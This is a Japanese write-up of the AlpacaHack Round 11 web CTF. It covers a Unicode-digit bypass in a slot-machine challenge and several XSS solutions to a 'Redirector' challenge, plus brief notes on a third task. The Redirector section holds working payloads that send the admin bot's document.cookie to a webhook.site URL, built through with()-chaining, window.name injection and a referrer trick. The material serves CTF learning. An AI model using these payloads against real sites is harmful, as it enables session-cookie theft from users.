
AlpacaHack Round 11 (Web)に出て、最初のjackpotしか解けませんでした。
ほかの問題でこれから役に立つような手法がたくさんあったので、今後の学びのためにwriteupを書こうと思います。
Jackpot 63solves

スロットマシーン
スロットの実装は次の通り
def validate(value: str | None) -> list[int]:
if value is None:
raise BadRequest("Missing parameter")
if not re.fullmatch(r"\d+", value):
raise BadRequest("Not decimal digits")
if len(value) < 10:
raise BadRequest("Too little candidates")
candidates = list(value)[:10]
if len(candidates) != len(set(candidates)):
raise BadRequest("Not unique")
return [int(x) for x in candidates]
def slot():
candidates = validate(request.args.get("candidates"))
num = 15
results = random.choices(candidates, k=num)
is_jackpot = results == [7] * num # 777777777777777
return jsonify(
{
"code": 200,
"results": results,
"isJackpot": is_jackpot,
"flag": FLAG if is_jackpot else None,
}
)
どうにかして、candidatesを7のみにしたら必ずジャックポットが引けるが、validate関数内でlen(candidates) != len(set(candidates)):と重複を許していない。
なので、違う文字だが、intしたときに7と判別するような文字を10個入力すればよいです。
ここで、アラビア数字の7とかないのかなと調べるとUnicodeがあったので、試してみるとちゃんと7と判定されていたのでこのような文字を頑張って探しました。
import re
import random
def validate(value: str | None) -> list[int]:
if value is None:
print("Missing parameter")
if not re.fullmatch(r"\d+", value):
print("Not decimal digits")
if len(value) < 10:
print("Too little candidates")
candidates = list(value)[:10]
if len(candidates) != len(set(candidates)):
print("Not unique")
print("ok")
return [int(x) for x in candidates]
payload = (
"\u0037" # ASCII digit 7
+ "\u0667" # Arabic‐Indic digit seven
+ "\u06F7" # Extended Arabic‐Indic digit seven
+ "\u07C7" # NKo digit seven
+ "\u096D" # Devanagari digit seven
+ "\u09ED" # Bengali digit seven
+ "\u0A6D" # Gurmukhi digit seven
+ "\u0AED" # Gujarati digit seven
+ "\u0B6D" # Oriya digit seven
+ "\u0BED" # Tamil digit seven
)
print(payload)
candidates = validate(payload)
num = 15
results = random.choices(candidates, k=num)
is_jackpot = results == [7] * num # 777777777777777
print(is_jackpot)
あとは表示されたpayloadを貼り付けたらOKです。
Redirector

任意のURLにリダイレクトしてくれるようだ。
AdminBotでCookieを送信出来たらOK。
とりあえずjavasciprt:alert(1)をしてみる。

できた。
あとは、webhookするだけだと思ったが、index.html中に次のような記載があった。
<script>
(() => {
const next = new URLSearchParams(location.search).get("next");
if (!next) return;
const url = new URL(next, location.origin);
const parts = [url.pathname, url.search, url.hash];
if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) {
alert("Invalid URL 1");
return;
}
if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) {
alert("Invalid URL 2");
return;
}
location.href = url;
})();
</script>
if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) {
とのことなので、一文字目を除いた文字列の中で、\w:英数字と()以外の文字が入っていないかを確認しており、入っていたらInvaild URL 1と表示される。
つまり、英数字とかっこ以外使えないのである
わざわざ一文字目以降としているのは、?や#などを含まないためだろう。
ここでギブアップした。
いろんな人のwriteupを参考にしてみる(勝手に引用してごめんなさい)
AlpacaHackにはwriteupを投稿する機能があるので、ほかの人のwriteupを簡単に見つけることができて非常にありがたい。
英数字と括弧以外が使えないので、もちろんURLの//とかも使えない。
次の記事のようにbase64でうんぬんかんぬんして、evalしようとしてもevalが制限されているので何もできません。https://qiita.com/kerupani129/items/1d6b936974ec65ae4833
しかし、なんとsetTimeoutやsetIntervalは文字列をevalとして実行しているようです。
じゃああとは、base64化させたものをデコードしてevalしたらいいだけじゃんと思い自信満々に次を送信しました。
javascript:setTimeout(atob('ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlLzQzZjU5OTFiLTgwZTQtNDU1NC05NmE3LTg2M2EyOTAxNmZhND8nK2RvY3VtZW50LmNvb2tpZSk='))

あ、シングルクォートがあった。
どうしよう
pythonみたいにchr関数があったら回避できるな~と思ったりしながらダメもとで「javascript chr に該当」で調べてみると、String.fromCharCode()という関数があった!
しかし!これも.を使っているのでそのまま使えなかった…
ここでwriteupを見る。
どうやらwithというものを使うらしい。
.などを使わなくても、with(console)with(log)(1)のような記法で任意のコードを実行できるようだ 参考:https://zenn.dev/claustra01/articles/4fdad6b096fe41#redirector-(6-solves)
どういうことかよくわからなかったので調べてみると、with (obj) stmt;
は「stmt
を評価する際に、最初にスコープチェインの先頭を obj
にする」という意味だそうです。
参照:https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Statements/with

もう少し深堀していきましょう。
withをネストしてみます。

この場合、log(fromCharCode(0x41))を評価する順番が、String・console・fooとなっています。
まずlogですが、これはStringオブジェクトにはlogというプロパティはないため、consoleのほうにいき、consoleでヒットします。
String.fromCharCodeは存在するので、String.fromCharCodeと評価されます。
実際にそれを確かめてみましょう。

このように、with(console)をコメントアウトしてみると、logがfoo.logとして扱われていることがわかります。
以下にデモも用意した。
See the Pen Untitled by yuma4869 (@yuma4869) on CodePen.
clickmeをクリックすると、Hacked!と表示されると思う。
実際にwithだけで、javascriptを実行できることを確認できた。
あとはString.fromCharCode()関数は、String.fromCharCode(22,11)のような記法で一気に表現できるので勝ちだと思っていましたが、なんと、コンマがある
writeupを見ると、concatというメソッドを使ったらいい感じにできるようだ。
あとは、これらとwithをうまい具合につなげるとpayloadができ上る。
concatはString.prototype.concat()が存在するらしいので、"a".concat("b").concat("c")といったふうに使える。
そして、最後の文字列結合で、setTimeoutを使ってevalさせよう。
なのでソルバーは次の通りになる。
raw = "fetch('https://webhook.site/43f5991b-80e4-4554-96a7-863a29016fa4?' + document.cookie)"
payload = f"with(String)with(fromCharCode({ord(raw[0])}))"
for i in raw[1:]:
payload += f"with(concat(fromCharCode({ord(i)})))"
payload += f"setTimeout(concat(fromCharCode({ord(';')})))"
payload = "http://redirector:3000/?next=javascript:" + payload
print(payload)
この場合、withをどんどん入れ子にしていき、直前のwithのconcatで結合された文字列をスコープの先頭として扱うのでどんどん文字列が出来上がるというわけです。
最終的に一つのステートメントであるsetTimeoutが実行されます。(これまでのwith内に記述されたオブジェクトに、setTimeoutを持つものはいないので、最終的にグローバルオブジェクトを探索し、setTimeoutがそのまま呼び出されます。)
with(String)
with(fromCharCode({ord('f')})
with(concat(fromCharCode({ord('e')})
...
つまりこういうわけです。ステートメントが一文だけなら鍵かっこは不要なのでちょうどいいです。
そして、得られたpayloadをAdminBotに投げると…


フラグが取得できました!
と、ここまでが想定解法なのかな?
ここからは、そのほか二つの解法のwriteupが投稿されており、その手法が私にとっては目新しく学びになったので試していこうと思います。
maple3142さんのwriteup(https://blog.maple3142.net/2025/05/17/alpacahack-round-11-writeups/#redirector)
とりあえずこちらのwriteupを見てほしいのですが、この解法では、nameをうまく利用しています。
どうやらnameという変数はページを遷移したあとでも引き継がれるようです。
実際に実験してみました。
script.html
<script>
name = "hello";
hoge = "world";
</script>
check.html
<script>
console.log(name);
console.log(hoge);
</script>
そして、これらをngrok等でサーバを立ち上げてアクセスしてみます。
そして、まずは、check.htmlにアクセスして、コンソールを監視してみます。

すると、name変数は定義していないのに<empty string>となっています。
逆にhogeは定義していないのでundefinedとエラーが出ています。
次にscript.htmlにアクセスしたあとに、もう一度check.htmlにアクセスしてみます。

すると、check.htmlではname変数を定義していないのに、script.htmlで定義したname="hello"というスクリプトが反映されています。
これが何を意味するかというと、AdminBotに攻撃者のサイトをアクセスさせてそこで、nameという変数に"alert(1)"などのスクリプトを挿入し、なんらかの方法でターゲット側でeval(name)を実行できればやりたい放題というわけです。
なぜこうなるのでしょうか?
まず、JavaScript のグローバルスコープ(ブラウザでは window
)で宣言された変数や、var
なしの代入(非 strict モード)で生成された変数は、すべて window
オブジェクトのプロパティとして扱われます。
なので、name=”hello”は暗黙的に、window.name=”hello”と同等になります。
これは、hogeにも言えることなので、この場合、window.hoge = “world”となります。
ここで、なぜwindow.nameだけがページ遷移後も保持されるのでしょうか?
それはwindow.nameがWindowProxyオブジェクトだからです。
WindowProxyの特徴は、ページ遷移前後でオブジェクトが保持されるという点です。
詳細:https://qiita.com/yuki3/items/4ee2d6fff0865f806ded
そして、これはクロスオリジンもサポートしています
(注:一部firefox系ではwindow.nameをクリアする仕様になっているhttps://blog.mozilla.org/security/2021/04/19/firefox-88-combats-window-name-privacy-abuses 今回、BotはChromium系なので問題なし)
これでname変数を使っている理由がわかりました。
しかし、if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) {とnameがurlに入っているとInvaild URL 2といわれてしまいます。
ここで、Unicodeを使って回避する方法を考えますが、最初に\u006eとバックスラッシュが入ってしまっているので、最初の英数字と括弧以外を規制するInvaild URL 1で引っかかるのではと思いますが、part.slice(1)と二文字目から先ほど申したように調べているので、一文字目はパスできます。
実際に調べてみると、javascript:alert(1)と入力したときの挙動は次のようになっています。二つ目の出力はurl.pathname.slice(1)です。

実際に一文字目は関係ないことがわかりました。
これで、name変数を自由に呼び出すことが可能になりました。
あとは、setTimeoutとかでevalするだけと思いますが、それではslice(1)の効果がなくなり、nameが呼び出せません。
ここで、もう一つテクニックがあります。
See the Pen javascriptAlpacaRound11demo by yuma4869 (@yuma4869) on CodePen.
こちらをご覧いただいてわかるように、javascript:の部分の式の値が文字列ならそれはHTMLとしてレンダリングされます。
この特性を利用して、nameに<img src=x onerror=”alert(1)”>などを挿入することでXSSが可能になります。
これまでのことから、ソルバーを作成してみます。
まずwindow.nameに悪意のあるHTMLを入れてから、redirectorに遷移させ、遷移先でjavascript:nameを実行することでXSSができます。
<script>
name = `<img src=x onerror="location.href=' https://webhook.site/43f5991b-80e4-4554-96a7-863a29016fa4/flag?'+document.cookie" >`
location.href = 'http://redirector:3000/?next=javascript:\\u006eame'
</script>
このページにAdminBotをアクセスさせると、フラグが得られました。

parrot409さんの解法(https://gist.github.com/parrot409/9e87e7add57cbe543e03678a9f9aa806)
まずは、こちらのwriteupを見てほしいです。
この解法で特徴的なのは、<meta name="referrer" content="unsafe-url" />でしょうか。
通常、ブラウザは同一オリジン間をまたぐリクエストでは Referer ヘッダを「ドメインまで」などに制限する(strict-origin-when-cross-origin
がデフォルト)ことがあります。
unsafe-url
を指定すると、同一オリジン・クロスオリジンを問わず 完全な URL(パスやクエリ文字列を含む)を Referer ヘッダとして送信します https://developer.mozilla.org/ja/docs/Web/HTTP/Reference/Headers/Referrer-Policy
そしてlocation="http://34.170.146.252:48709/?next=javascript:with(document)setTimeout(decodeURIComponent(referrer))"は、多分location="http://redirector:3000/?next=javascript:with(document)setTimeout(decodeURIComponent(referrer))"の誤りなのか?(違ったらすいません私は後者のほうでしかうまくいかなかったのでこれからは後者を前提として話します)
まずwith(document)は最初に解説したものと同じ解法を使っていて、setTimeoutも同様です。
しかし、decodeURIComponent(referrer)が見新しいです。
decodeURIComponentはURLエンコードをデコードしてくれます。
そして、referrerはwith(document)となっているので、document.referrerとなり、これは、このページへリンクしていたページの URI を返します。
ここで、先ほどの<meta name="referrer" content="unsafe-url" />が活きて、通常は、ドメインまでのところを、クロスオリジンで、すべてのURLをdocument.referrerで取得できます。
そして、例えば、https://example.com/?%0aalert(1)にこのようなペイロードを書いていたとすると、redirectorでは次のようなコードに変換されます。(%0aは改行)
javascript:with(document)setTimeout(decodeURIComponent(referrer))
↓ 簡単に
setTimeout(decodeURIComponent(document.referrer))
↓
setTimeout(decodeURIComponent(‘https://example.com/?%0aalert(1)’))
そして、decodeURIComponent(‘https://example.com/?%0aalert(1)’))は次のように解釈されます。
https://example.com/?
alert(1)
これがsetTimeoutによってevalされ、javascriptコードとして解釈されると、
https:の部分はjavascriptのラベルとして解釈され、//example.com/?は一行コメントして解釈されます。
つまり、一行目は何もないに等しいです。
そして、二行目で、alert(1)が実行されます。
AdminBotに次ぎを送るとフラグが送られてきました。
https://yuma4869.github.io/?%0afetch("https://webhook.site/43f5991b-80e4-4554-96a7-863a29016fa4?flag="+document.cookie)
Tiny Note
/からはじめることで、パストラバーサルできるのでは?と思ったが、いろいろ試しても確認できなかったので違うのかとあきらめていた。(もっとコードを読もう)
任意のパスに24文字以下のコードを書き込める問題だったので。いろいろ頑張る。
知見
・とりあえずローカルで立ち上げる
・ファイルに任意な文字を書き込める場合はそれらをincludeとかしあってつなげ合わせてRCEに持ってく
・flag-md5.txtの形式はだいたいRCE